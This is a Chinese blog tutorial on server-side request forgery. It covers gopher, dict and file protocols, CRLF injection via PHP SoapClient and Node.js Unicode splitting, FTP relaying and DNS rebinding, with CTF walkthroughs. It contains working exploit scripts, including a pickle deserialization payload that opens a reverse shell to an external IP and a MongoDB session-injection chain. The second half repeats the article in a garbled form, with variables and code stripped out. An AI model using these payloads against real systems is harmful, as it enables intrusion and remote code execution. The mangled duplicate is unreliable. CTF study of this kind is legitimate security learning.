写点什么

首个 SSRF 漏洞开篇学习

发布于: 刚刚
首个SSRF漏洞开篇学习


SSRF 简介 SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)


SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。


如图是一个简单的 SSRF



源码如下


<?phpfunction curl($url){    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_HEADER, 0);    curl_exec($ch);    curl_close($ch);}$url = $_GET['url'];curl($url);
复制代码

利用协议

file/local_file

利用 file 文件可以直接读取本地文件内容,如下


file:///etc/passwdlocal_file:///etc/passwd
复制代码


local_file 与之类似,常用于绕过

dict

dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用 dict 协议可以获取目标服务器端口上运行的服务版本等信息。


如请求


dict://192.168.163.1:3306/info



可以获取目标主机的 3306 端口上运行着 mariadb

Gopher

Gopher 是基于 TCP 经典的 SSRF 跳板协议了,原理如下


gopher://127.0.0.1:70/_ + TCP/IP数据(URLENCODE)
复制代码


其中_可以是任意字符,作为连接符占位


一个示例


GET /?test=123 HTTP/1.1Host: 127.0.0.1:2222Pragma: no-cacheCache-Control: no-cacheDNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Connection: close
复制代码


URL 编码后


%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
复制代码


测试


curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->HTTP/1.1 200 OKHost: 127.0.0.1:2222Date: Tue, 26 May 2020 03:53:05 GMTConnection: closeX-Powered-By: PHP/7.3.15-3Content-type: text/html; charset=UTF-8
123
复制代码


所以在SSRF时利用gopher协议我们就可以构造任意 TCP 数据包发向内网了

利用 CRLF

在 HTTP 的 TCP 包中,HTTP 头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。


下图是一个示例:



如果我们能在输入的 url 中注入\r\n,就可以对 HTTP Headers 进行修改从而控制发出的 HTTP 的报文内容


比如下图



USER anonymous等就是通过CRLF注入插入的伪HTTP Header

PHP 中利用 Soap Client 原生类

SOAP(简单对象访问协议)是连接或 Web 服务或客户端和 Web 服务之间的接口。


其采用 HTTP 作为底层通讯协议,XML 作为数据传送的格式。


在 PHP 中该类的构造函数如下:


public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
复制代码


第一个参数是用来指明是否是 wsdl 模式。


第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。具体可以设置的参数可见官方文档


其中提供了一个接口


The user_agent option specifies string to use in User-Agent header.
复制代码


此处本意是注入User_Agent HTTP 请求头,但是此处存在 CRLF 注入漏洞,因此我们在此处可以完全控制 HTTP 请求头


利用脚本如下


<?$headers = array(//要注入的header    'X-Forwarded-For: 127.0.0.1',    'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2');$a = new SoapClient(null,array('location' => $target,                                'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,                                'uri'      => "aaab"));
复制代码

利用 FTP 作为跳板

FTP 是基于 TCP 的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议



通过 FTP 传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。



FTP 协议中命令也是通过\r\n分割的 同时 FTP 会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用 HTTP 作为 FTP 包的载荷


同时通过使用PORT命令打开 FTP 主动模式,可以实现 TCP 流量代理转发的效果


# STEP 1 向FTP服务传TCP包TYPE IPORT vpsip,0,portSTOR tcp.bin
# STEP 2 让FTP服务向内网发TCP包
TYPE IPORT 172,20,0,5,105,137RETR tcp.bin
复制代码

DNS Rebinding

针对SSRF,有一种经典的拦截方式


  1. 获取到输入的 URL,从该 URL 中提取 host

  2. 对该 host 进行 DNS 解析,获取到解析的 IP

  3. 检测该 IP 是否是合法的,比如是否是私有 IP 等

  4. 如果 IP 检测为合法的,则进入 curl 的阶段发包


第三步对 IP 进行了检测,避免了内网 SSRF


然而不难发现此处对 HOST 进行了两次解析,一次是在第二步检测 IP,第二次是在第四步发包。那么我们很容易有以下绕过思路


控制一个域名xxx.xxx,第一次 DNS 解析,xxx.xxx指向正常的 ip,防止被拦截


第二次 DNS 解析,xxx.xxx指向 127.0.0.1(或其他内网地址),在第四步中 curl 向第二次解析得到对应的内网地址发包实现绕过


这个过程已经有了较为完善的利用工具

例题

主要分析题目中的 SSRF 部分

MRCTF2020 Ezpop Revenge

目标是访问/flag.php 但限制了访问请求的来源 ip 必须为127.0.0.1也就是本地访问


<?phpif(!isset($_SESSION)) session_start();if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){   $_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";}else echo "我扌your problem?\nonly localhost can get flag!";?>
复制代码


此题的前半部分在于 typecho pop 链的构造此处就不过多赘述,直接上 Exp


<?phpclass HelloWorld_DB{    private $flag="MRCTF{this_is_a_fake_flag}";    private $coincidence;    function __construct($coincidence){        $this->coincidence = $coincidence;    }    function  __wakeup(){        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);    }}class Typecho_Request{    private $_params;    private $_filter;    function __construct($params,$filter){        $this->_params=$params;        $this->_filter=$filter;    }}class Typecho_Feed{    private $_type = 'ATOM 1.0';    private $_charset = 'UTF-8';    private $_lang = 'zh';    private $_items = array();    public function addItem(array $item){        $this->_items[] = $item;    }}
$target = "http://127.0.0.1/flag.php";$post_string = '';$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2');
$a = new SoapClient(null,array('location' => $target, 'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri' => "aaab"));
$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));$payload2 = new Typecho_Feed();$payload2->addItem(array('author' => $payload1));$exp1 = array('hello' => $payload2, 'world' => 'typecho');$exp = new HelloWorld_DB($exp1);echo serialize($exp)."\n";echo urlencode(base64_encode(serialize($exp)));
复制代码


其中$a为 SOAP 载荷,call_user_func()对 SOAP 对象进行了主动调用从而触发了请求。


这里关键是使用了 PHP 的SoapClient进行了一个 SSRF


<?php$headers = array(    'X-Forwarded-For: 127.0.0.1',    'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2');$a = new SoapClient(null,array('location' => $target,                                'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,                                'uri'      => "aaab"));
复制代码


通过CRLF注入PHPSESSION 然后访问/flag.php php 将 flag 放入session中,我们再带着这个SESSION去访问对应网页就能获取到存储的 flag 了

MRCTF2021 half nosqli

这个题的前半部分在于 Mongodb 永真式万能密码绕过,后半部分就是 SSRF


首先可以打到自己 vps 上看看效果


headers = {    "Accept":"*/*",    "Authorization":"Bearer "+token,}
url_payload = "http://buptmerak.cn:2333"
json = { "url":url_payload}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
复制代码



发现发送了 HTTP 的请求包


经过尝试该题目中存在 Nodejs 曾爆出的一个 SSRF 漏洞,即 Unicode 拆分攻击,可以进行 CRLF 注入


利用原理如下


在 Node.js 尝试发出一个路径中含有控制字符的 HTTP 请求,它们会被 URL 编码。


而当 Node.js 版本 8 或更低版本对此 URL 发出 GET 请求时,\u{ff0a}\u{ff0d}不会进行转义,因为它们不是 HTTP 控制字符:


但是当结果字符串被默认编码为 latin1 写入路径时,这些字符将分别被截断为\x0a\x0d也即\r\n 从而实现了CRLF注入


headers = {    "Accept":"*/*",    "Authorization":"Bearer "+token,}
url_payload = "http://buptmerak.cn:2333/"
payload ='''USER anonymousPASS admin888CWD filesTYPE IPORT vpsip,0,1890RETR flag'''.replace("\n","\r\n")
def payload_encode(raw): ret = u"" for i in raw: ret += chr(0xff00+ord(i)) return ret#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")
#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = { "url":url_payload}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
复制代码


可以看到发回的包



已经实现了 CRLF 的注入,这里的 payload 也就是我们最终构造的 FTP 请求包,通过这个请求包,可以使 FTP 主动向我们的服务器发送上面的文件



USER anonymous 以匿名模式登录 PASS 随意 CWD 切换文件夹 TYPE I 以 binary 格式传输 PORT vpsip,0,1890 打开 FTP 主动模式 RETR 向对应 ip:port 发送文件


在 vps 上开一个监听端口,就能监听到发来的文件了


headers = {    "Accept":"*/*",    "Authorization":"Bearer "+token,}
url_payload = "http://ftp:8899/" #题目附件中docker-compose.yml中泄露的内网主机名
payload ='''USER anonymousPASS admin888CWD filesTYPE IPORT vpsip,0,1890RETR flag'''.replace("\n","\r\n")


def payload_encode(raw): ret = u"" for i in raw: ret += chr(0xff00+ord(i)) return ret#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")
#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = { "url":url_payload}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
复制代码


StarCTF2021 oh-my-bet

题目在获取头像地址处存在 ssrf


def get_avatar(username):
dirpath = os.path.dirname(__file__) user = User.query.filter_by(username=username).first()
avatar = user.avatar if re.match('.+:.+', avatar): path = avatar else: path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar]) try: content = base64.b64encode(urllib.request.urlopen(path).read()) except Exception as e: error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png']) content = base64.b64encode(urllib.request.urlopen(error_path).read()) print(e)
return content
复制代码


import urllib.parseimport requestsimport reimport base64import time
url = "http://localhost:8088/login"
def read_file(filename): name = "eki"+str(time.time()) avatar = filename data = { "username":name, "password":"322", "avatar":avatar, "submit":"Go!", } res = requests.post(url,data=data)
txt = res.text find = re.findall("<img src.*>",txt)
if len(find) != 0: with open("out",'wb') as f: st = base64.b64decode(find[0][32:-47]) f.write(st) if len(st) == 4611: print("{} not exists!".format(filename)) else: print("Success!->out") else: print("Error") print(res.text)
read_file("file:///app/app.py")
复制代码


并且该版本的urllib.request.urlopen(path)存在CRLF注入漏洞


分析题目给出的源码,我们能得到最终的解题思路是


向 FTP 传输恶意流量包并存储->FTP 向 Mongodb 发送恶意流量包插入恶意 Session->Session Pickle 反序列化反弹 shell

生成恶意 mongdb 流量包

生成恶意 pickle 序列化串


import pickleimport base64import os
class RCE: def __reduce__(self): cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("81.70.154.76",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""") return os.system, (cmd,)
if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled)) open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())
复制代码


生成 Mongodb 的 BSON 数据


const BSON = require('bson');const fs = require('fs');
// Serialize a documentconst doc = {insert: "sessions", $db: "admin", documents: [{ "id": "session:e51fca6f-1248-450c-8961-b5d1a1aaaaaa", "val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"), "expiration": new Date("2025-02-17")}]};const data = BSON.serialize(doc);
let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");let full = Buffer.concat([beginning, data]);
full.writeUInt32LE(full.length, 0);fs.writeFileSync("bson.bin", full);
复制代码
攻击流程

上传到内网 FTP 服务器


payload = '''TYPE IPORT vpsip,78,32STOR bson.bin'''
exp = 'http://172.20.0.2:8877/'
exp += urllib.parse.quote(payload.replace('\n', '\r\n'))
read_file(exp)
复制代码


vps 打开文件发送


import socket
HOST = '0.0.0.0' PORT = 20000 blocksize = 4096fp = open('bson.bin', 'rb')with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) print('start listen...') s.listen() conn, addr = s.accept() with conn: while 1: buf = fp.read(blocksize) if not buf: fp.close() break conn.sendall(buf) print('end.')
复制代码


内网 FTP 向 Mongodb 发送构造恶意数据包


payload = '''TYPE IPORT 172,20,0,5,105,137RETR bson.bin'''
exp = 'http://172.20.0.2:8877/'
exp += urllib.parse.quote(payload.replace('\n', '\r\n'))
read_file(exp)
复制代码


最终触发


import requests
url = "http://localhost:8088/"
cookie = { "session":"e51fca6f-1148-450c-8961-b5d1aaaaaaaa"}
req = requests.get(url,cookie=cookie)
复制代码


【SSRF资料领取】



【SSRF资料领取】



image.pngSSRF 简介 SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)


SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。


如图是一个简单的 SSRFimage.png 源码如下


<?phpfunction curl(url){ch = curl_init();curl_setopt(url);curl_setopt(ch);curl_close(ch);}url = url);


利用协议 file/local_file 利用 file 文件可以直接读取本地文件内容,如下


file:///etc/passwdlocal_file:///etc/passwd


local_file 与之类似,常用于绕过


dictdict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用 dict 协议可以获取目标服务器端口上运行的服务版本等信息。


如请求


dict://192.168.163.1:3306/infoimage.png 可以获取目标主机的 3306 端口上运行着 mariadb


GopherGopher 是基于 TCP 经典的 SSRF 跳板协议了,原理如下


gopher://127.0.0.1:70/_ + TCP/IP 数据(URLENCODE)


其中_可以是任意字符,作为连接符占位


一个示例


GET /?test=123 HTTP/1.1Host: 127.0.0.1:2222Pragma: no-cacheCache-Control: no-cacheDNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Connection: close


URL 编码后


%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a


测试


curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a


->HTTP/1.1 200 OKHost: 127.0.0.1:2222Date: Tue, 26 May 2020 03:53:05 GMTConnection: closeX-Powered-By: PHP/7.3.15-3Content-type: text/html; charset=UTF-8


123


所以在 SSRF 时利用 gopher 协议我们就可以构造任意 TCP 数据包发向内网了


利用 CRLF 在 HTTP 的 TCP 包中,HTTP 头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。


下图是一个示例:


image.png


如果我们能在输入的 url 中注入\r\n,就可以对 HTTP Headers 进行修改从而控制发出的 HTTP 的报文内容


比如下图 image.png


USER anonymous 等就是通过 CRLF 注入插入的伪 HTTP Header


PHP 中利用 Soap Client 原生类 SOAP(简单对象访问协议)是连接或 Web 服务或客户端和 Web 服务之间的接口。


其采用 HTTP 作为底层通讯协议,XML 作为数据传送的格式。


在 PHP 中该类的构造函数如下:


public SoapClient :: SoapClient (mixed options ])


第一个参数是用来指明是否是 wsdl 模式。


第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。具体可以设置的参数可见官方文档


其中提供了一个接口


The user_agent option specifies string to use in User-Agent header.


此处本意是注入 User_Agent HTTP 请求头,但是此处存在 CRLF 注入漏洞,因此我们在此处可以完全控制 HTTP 请求头


利用脚本如下


<?a = new SoapClient(null,array('location' => target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",headers)."\r\nContent-Length: ".(string)strlen(post_string)."\r\n\r\n".post_string,'uri' => "aaab"));


利用 FTP 作为跳板 FTP 是基于 TCP 的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议 image.png 通过 FTP 传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。image.png


FTP 协议中命令也是通过\r\n 分割的 同时 FTP 会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用 HTTP 作为 FTP 包的载荷


同时通过使用 PORT 命令打开 FTP 主动模式,可以实现 TCP 流量代理转发的效果

STEP 1 向 FTP 服务传 TCP 包

TYPE IPORT vpsip,0,portSTOR tcp.bin

STEP 2 让 FTP 服务向内网发 TCP 包

TYPE IPORT 172,20,0,5,105,137RETR tcp.bin


DNS Rebinding 针对 SSRF,有一种经典的拦截方式


获取到输入的 URL,从该 URL 中提取 host 对该 host 进行 DNS 解析,获取到解析的 IP 检测该 IP 是否是合法的,比如是否是私有 IP 等如果 IP 检测为合法的,则进入 curl 的阶段发包第三步对 IP 进行了检测,避免了内网 SSRF


然而不难发现此处对 HOST 进行了两次解析,一次是在第二步检测 IP,第二次是在第四步发包。那么我们很容易有以下绕过思路


控制一个域名 xxx.xxx,第一次 DNS 解析,xxx.xxx 指向正常的 ip,防止被拦截


第二次 DNS 解析,xxx.xxx 指向 127.0.0.1(或其他内网地址),在第四步中 curl 向第二次解析得到对应的内网地址发包实现绕过


这个过程已经有了较为完善的利用工具


例题主要分析题目中的 SSRF 部分


MRCTF2020 Ezpop Revenge 目标是访问/flag.php 但限制了访问请求的来源 ip 必须为 127.0.0.1 也就是本地访问


<?phpif(!isset(_SERVER['REMOTE_ADDR']==="127.0.0.1"){$_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";}else echo "我扌 your problem?\nonly localhost can get flag!";?>


此题的前半部分在于 typecho pop 链的构造此处就不过多赘述,直接上 Exp


<?phpclass HelloWorld_DB{private flag="MRCTF{this_is_a_fake_flag}";private coincidence;function __construct(coincidence){this->coincidence = coincidence;}function __wakeup(){db = new Typecho_Db(this->coincidence['world']);}}class Typecho_Request{private _filter;function __construct(filter){params;filter;}}class Typecho_Feed{private _charset = 'UTF-8';private _items = array();public function addItem(array item){this->_items[] = $item;}}


post_string = '';$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2');


target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",headers)."\r\nContent-Length: ".(string)strlen(post_string)."\r\n\r\n".$post_string,'uri' => "aaab"));


a,"233")),array('call_user_func'));payload2->addItem(array('author' => exp1 = array('hello' => exp = new HelloWorld_DB(exp)."\n";echo urlencode(base64_encode(serialize($exp)));


其中 $a 为 SOAP 载荷,call_user_func()对 SOAP 对象进行了主动调用从而触发了请求。


这里关键是使用了 PHP 的 SoapClient 进行了一个 SSRF


<?phpa = new SoapClient(null,array('location' => target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",headers)."\r\nContent-Length: ".(string)strlen(post_string)."\r\n\r\n".post_string,'uri' => "aaab"));


通过 CRLF 注入 PHPSESSION 然后访问/flag.php php 将 flag 放入 session 中,我们再带着这个 SESSION 去访问对应网页就能获取到存储的 flag 了


